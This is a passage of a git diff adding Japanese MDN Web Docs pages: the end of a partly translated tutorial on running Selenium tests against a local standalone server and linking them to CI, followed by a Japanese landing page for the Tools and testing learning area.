bash"><code>java -jar </code>selenium-server-standalone-3.0.0.jar</pre> + (update the <code>.jar</code> filename) so it matches exactly what file you've got.</li> + <li>The server will run on <code><a href="http://localhost:4444/wd/hub">http://localhost:4444/wd/hub</a></code> — try going there now to see what you get.</li> +</ol> + +<p>Now we've got the server running, let's create a demo test that will run on the remote selenium server.</p> + +<ol> + <li>Create a copy of your <code>google_test.js</code> file, and call it <code>google_test_remote.js</code>; put it in your project directory.</li> + <li>Update the second code block (which starts with <code>var driver = </code>) like so + <pre class="brush: js">var driver = new webdriver.Builder() + .forBrowser('firefox') + .usingServer('http://localhost:4444/wd/hub') + .build();</pre> + </li> + <li>Run your test, and you should see it run as expected; this time however you will be runing it on the standalone server: + <pre class="brush: bash">node google_test_remote.js</pre> + </li> +</ol> + +<p>So this is pretty cool. We have tested this locally, but you could set this up on just about any server along with the relevant browser drivers, and then connect your scripts to it using the URL you choose to expose it at.</p> + +<h2 id="Integrating_selenium_with_CI_tools" name="Integrating_selenium_with_CI_tools">selenium と CI ツールのインテグレーション</h2> + +<p>As another point, it is also possible to integrate Selenium and related tools like Sauce Labs with continuous integration (CI) tools — this is useful, as it means you can run your tests via a CI tool, and only commit new changes to your code repository if the tests pass.</p> + +<p>It is out of scope to look at this area in detail in this article, but we'd suggest getting started with Travis CI — this is probably the easiest CI tool to get started with, and has good integration with web tools like GitHub and Node.</p> + +<p>To get started, see 例えば、:</p> + +<ul> + <li><a href="https://docs.travis-ci.com/user/for-beginners">Travis CI for complete beginners</a></li> + <li><a href="https://docs.travis-ci.com/user/languages/javascript-with-nodejs/">Building a Node.js project</a> (with Travis)</li> + <li><a href="https://docs.travis-ci.com/user/sauce-connect/">Using Sauce Labs with Travis CI</a></li> +</ul> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>This module should have proven fun, and should have given you enough of an insight into writing and running automated tests for you to get going with writing your own automated tests.</p> + +<p>{{PreviousMenu("Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + + + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> + + + +<div id="simple-translate-button" style="display: none;"></div> + +<div id="simple-translate-panel" style="display: none;"> +<p>...</p> +</div> + +<div id="simple-translate-button"></div> + +<div id="simple-translate-panel"> +<p>...</p> +</div> diff --git a/files/ja/learn/tools_and_testing/index.html b/files/ja/learn/tools_and_testing/index.html new file mode 100644 index 0000000000..152ebc54eb --- /dev/null +++ b/files/ja/learn/tools_and_testing/index.html @@ -0,0 +1,49 @@ +--- +title: ツールとテスト +slug: Learn/Tools_and_testing +tags: + - CSS + - CodingScripting + - HTML + - JavaScript + - Landing + - TopicStub + - user testing + - アクセシビリティ + - クロスブラウザ + - ツール + - テスト + - トピック + - 初心者 + - 学習 + - 自動化 +translation_of: Learn/Tools_and_testing +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">ウェブ技術のコア (HTML, CSS, JavaScript のような) での快適なプログラミングを開始して、経験を積んで、色んなリソースを読み、色んなコツや技を学習すると、JavaScript フレームワークからテスト自動化ツールやそれ以外まで、すべてのツールに出くわします。ウェブプロジェクトが大きく複雑になっていくと、こうしたツールを活用したり、コードの信頼できるテスト計画を考案したくなるでしょう。</p> + +<p>さらに、クロスブラウザーのサポートを引き続き維持することを念頭に置き、ユーザーのウェブブラウジングに使用されているさまざまなブラウザーやデバイス間でプロジェクトを動作させるベストプラクティスに従う必要があります。そして障害を持つ人々が利用できるようにすることです。</p> + +<p>あなたが使用すべきツールを考え出すことは難しい処理でありえるため、私たちは一連の記事を書いて、利用可能なツールの種類、あなたのためにできること、現在の業界のお気に入りを利用する方法をお伝えします。</p> + +<div class="note"> +<p><strong>メモ</strong>: このトピックでは多数のツールを参照していますが、必ずしもこれらのツールを最良または唯一の方法として推奨しているわけではなく、動作していてサポートしているためです。ほとんどの場合、他にも方法がありますが、古いものは時代遅れで、間違いなく新しいものが出てきます。</p> +</div> + +<h2 id="Learning_pathway" name="Learning_pathway">学習経路</h2> + +<p>ここで説明したツールを使用する前にまずベースとなる <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、および <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語の基本を最初に理解しておく必要があります。たとえば、複雑な Web コードで問題をデバッグしたり、JavaScript フレームワークを効果的に使用したり、テストランナーなどを使用してコードをテストして実行したりする前に、これらの言語の基礎を知る必要があります。</p> + +<p>それに加えて、このトピックの最初のモジュールから始めて、そこでエリア全体の便利な概観を得るべきでしょう。</p> + +<h2 id="Modules" name="Modules">モジュール</h2> + +<dl> + <dt><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Tools_and_testing/Understanding_client-side_tools">クライアント側ウェブ開発ツールの理解</a></dt> + <dd>クライアント側のツールには脅威を感じますが、この記事シリーズではいくつかの普遍的なクライアント側のツール種類ごとに目的を例示して、一緒に連携させるツールや、パッケージマネージャーを使ったインストール方法、コマンドラインでの制御を説明します。最後にツールチェーンの例と、どのように生産的になるのかを示します。</dd> + <dt><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Tools_and_testing/GitHub">Git と GitHub</a></dt> + <dd>開発者はいくつかの <strong>バージョン管理システム</strong> (<strong>VCS</strong>)を使い、このツールにてプロジェクトの他の開発者と、お互いの成果を上書きする危険なく、後に問題が見つかった場合前バージョンのコードベースにロールバックできます。最も人気のある VCS (少なくともウェブ開発では) は <strong>Git</strong> と、それで動作するリポジトリとツールをホストするサイトの <strong>GitHub</strong> です。このモジュールではその両方について知っておくべきことを教えます。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing">クロスブラウザーテスト</a></dt> + <dd>このモジュールではさまざまなブラウザー間でウェブプロジェクトをテストする領域を具体的に示しています。ここでは、ターゲットとするユーザー層 (たとえばユーザー、ブラウザー、デバイスの中で最も心配する必要があるもの)、テストの方法、さまざまな種類のコードで直面する主な問題、問題をテストして解決するのに最も有用なツールと、テストをスピードアップするために自動化する方法について説明します。</dd> +</dl> |